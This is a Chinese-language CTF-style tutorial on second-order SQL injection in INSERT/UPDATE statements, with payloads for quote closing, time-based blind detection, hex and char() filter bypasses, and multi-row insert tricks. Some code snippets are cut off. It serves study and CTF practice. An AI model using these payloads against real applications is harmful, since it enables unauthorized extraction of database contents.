最近总是遇到一些insert,update
类型二次注入,下面就来简单的总结一下,内容也不是很多,insert与update
类似,下面只以insert
为例。
什么是本位闭合呢,这应该算是我自己取的名字吧。如下是一个简单的 insert 语句
1 |
insert into ctf_test(`user`,`pwd`) values('1','2'); |
当我们可以控制数字1
的时候,我们有两种选择,第一种是
1 |
' or if(1=1,sleep(3),1) or ' |
第二种是
1 |
',user())# |
这种方法可以注释掉原来不可以控制的第二位数据,使得第二位由我们来控制。那么我们称第一种为” 本位闭合”,第二种为” 非本位闭合”。
单纯的本位闭合一般都有什么较好的测试姿势呢?
其实一般单纯的本位闭合的原因是因为逗号的过滤,不然其实非本位闭合,可以获得更多的数据,有更高的效率。
盲注检测姿势 (网鼎杯 unfinish)
在闭合单引号型二次注入,检测 payload 为
1 |
' or (case when 1=1 then sleep(3) else '2' end)='1 |
成功延时 3s 发现注入成功。
或许利用我们之前学到的姿势
1 |
0'+(select hex(hex(database())))+'0 |
将得到的数字进行两遍 hex 解码,为了不精度丢失,尽量利用substr
提取字符串分段双 hex。
非本位闭合之前有介绍过,还是拿上面的这段 payload。
1 |
insert into ctf_test(`user`,`pwd`) values('1','2'); |
如果页面的回显是只对pwd
进行显示,而不对user
字段进行显示该怎么操作,这时候非本位就有很大的作用了。
如:在 1 的数据位置上写入
1 |
',(select database()))# |
这样就可以在他能显示的位置上拿到我们想要的数据了。
(PS:这里反引号其实也是可以闭合的)
1 |
$sql = "insert into comment |
如果这个数据的回显位在content
处,而我们能二次注入的点在category
处,我们还能通过
1 |
',content=user()# |
这种操作达到二次注入的目的吗,答案是不能的,因为#
是单行注释,而这里的注入语句是分行的,所以正常的非本位注入无法达到类似的目的,所以这里进行的是多行注释操作。
1 |
category=' ,content=user(),/*content=*/# |
其实这种情况和数字型注入差不多,只不过这里绕过的操作很多。
当对我的输入进行is_numeric
进行判断时,我们可以用十六进制绕过,最终select
查询时仍然会造成二次注入。
当过滤掉了0x
时,我们可以用char
函数,char
出我们想要的字符进行绕过。
这是一个很有趣的注入,首先来看一下所用的基本原理。
从图中可以看到我们可以利用insert
来插入多条数据,那么这种利用的条件发生在哪呢?
例如我们有这样四个字段id,password,content,user
,content
字段为可控字段,而且必须 user 符合我们现在的登陆账户才能插入进入数据,如果我们还是用传统的操作注入
1 |
',user())# |
这样肯定是不会生效的,因为我们的 user() 不符合,那怎么样才能达到注入的目的呢,这时就要用到我们的多记录插入
了,payload 如下:
1 |
',user()),('1','2',user(),'lihuaiqiu') |
最终成功得到注入结果,其实也可以用盲注,写个脚本,一样可以跑出来。
1
来快速判断需要闭合的是哪种符号。